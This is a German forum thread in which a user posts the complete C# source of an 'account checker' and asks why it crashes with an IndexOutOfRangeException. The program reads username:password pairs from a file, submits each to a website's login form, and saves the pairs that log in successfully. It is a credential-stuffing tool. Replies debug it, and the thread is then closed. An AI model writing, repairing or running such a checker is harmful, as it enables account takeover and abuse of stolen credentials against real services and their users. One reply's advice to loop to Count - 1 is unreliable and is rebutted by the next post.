Programm wird nicht ausgeführt.

12/23/2014 21:31 eMsentryy.#1
Hey, der Account-Checker wird nicht ausgeführt...

Source:
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace ACC_Checker
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.Title = "ACC_Checker";

            //Existiert die Datei mit den Accounts?
            if (File.Exists("Accounts.txt"))
            {
                //Accounts einlesen
                Console.WriteLine("Lese accounts ein...");
                List<Account> accounts = new List<Account>();

                using (StreamReader sr = new StreamReader("Accounts.txt"))
                {
                    while (sr.Peek() != -1)
                    {
                        string line = sr.ReadLine();

                        if (line != "")
                        {
                            Account account = new Account();
                            account.id = line.Split(':')[0];
                            account.pw = line.Split(':')[1];
                            accounts.Add(account);
                        }
                    }

                    sr.Close();
                }
                Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);

                //Accounts überprüfen
                Console.WriteLine("Überprüfe accounts...");
                for (int i = 0; i < accounts.Count; i++)
                {
                    try
                    {
                        Console.Write("Überprüfe account mit der ID: {0}", accounts[i].id);
                        string str = string.Format("login={0}&password={1}", accounts[i].id, accounts[i].pw);

                        HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://xxx.com/index.php?s=login");
                        req.Method = "POST";
                        req.ContentType = "application/x-www-form-urlencoded";

                        using (StreamWriter sw = new StreamWriter(req.GetRequestStream()))
                        {
                            sw.Write(str);
                            sw.Close();
                        }

                        HttpWebResponse res = (HttpWebResponse)req.GetResponse();

                        using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                        {
                            string response = sr.ReadToEnd();

                            if (response.Contains("Login erfolgreich"))
                            {
                                Console.ForegroundColor = ConsoleColor.Green;
                                Console.WriteLine(" [OKAY]");
                                using (StreamWriter sw = new StreamWriter("working.txt", true))
                                {
                                    sw.WriteLine("{0}:{1}", accounts[i].id, accounts[i].pw);
                                    sw.Close();
                                }
                            }
                            else
                            {
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine(" [NICHT OKAY]");
                            }

                            sr.Close();
                        }

                        Console.ForegroundColor = ConsoleColor.Gray;
                    }
                    catch (System.Exception ex)
                    {
                        continue;
                    }

                }
            }
            else
            {
                Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
            }

            Console.ReadLine();
        }

        struct Account
        {
            public string id;
            public string pw;
        }
    }
}
Fehler: (Zeile 14 / 33)
IndexOutOfRangeException wurde nicht behandelt.


Ich bekomme es einfach nicht hin.
12/26/2014 22:05 mrapc#2
Quote:
for (int i = 0; i < accounts.Count; i++)
Das mit den Counts ist immer so ne Sache wenn ich mich nicht irre ist da eine "+1 Überladung" drin sprich du müsstest -1 rechnen

for (int i = 0; i < accounts.Count - 1; i++)

Muss irgendwo in der Art liegen denn dein Index (hier i) ist höher als die Eigentliche Anzahl...

Es kann aber auch daran liegen das deine Account.txt eine Leerzeile hat bzw nicht jede Zeile ":" drin hat

Account account = new Account();
account.id = line.Split(':')[0];
account.pw = line.Split(':')[1];
accounts.Add(account);

der Split String funktioniert dann nicht mehr...
12/26/2014 22:19 Terreox#3
Quote:
Originally Posted by mrapc View Post
Das mit den Counts ist immer so ne Sache wenn ich mich nicht irre ist da eine "+1 Überladung" drin sprich du müsstest -1 rechnen

for (int i = 0; i < accounts.Count - 1; i++)

Muss irgendwo in der Art liegen denn dein Index (hier i) ist höher als die Eigentliche Anzahl...
Völliger Quatsch.
Wenn er geschrieben hätte
Code:
for(int i = 0; i <= accounts.Count; i++)
dann hätte es zu einer IndexOutOfBoundsException kommen können.
Da er aber < anstatt <= verwendet, wird der Index nie größer als accounts.Count - 1.

Prädestiniert für diese Exception ist oft der blinde Zugriff auf ein Array, wie z.B. bei deinem Split.
Greife niemals auf ein Array einfach so zu, bei dem du nicht 100% die Struktur kennst bzw. den Inhalt.
Am besten prüfst du den string vorher z.B. mit string.IsNullOrWhitespace() und danach splittest du den string einmal. Das resultierende Array kannst du dann nochmal überprüfen (z.B. ob das Array x Einträge besitzt).
Danach kannst du dann auf die einzelnen Indices zugreifen.
12/27/2014 00:25 snow#4
[Only registered and activated users can see links. Click Here To Register...]

#closed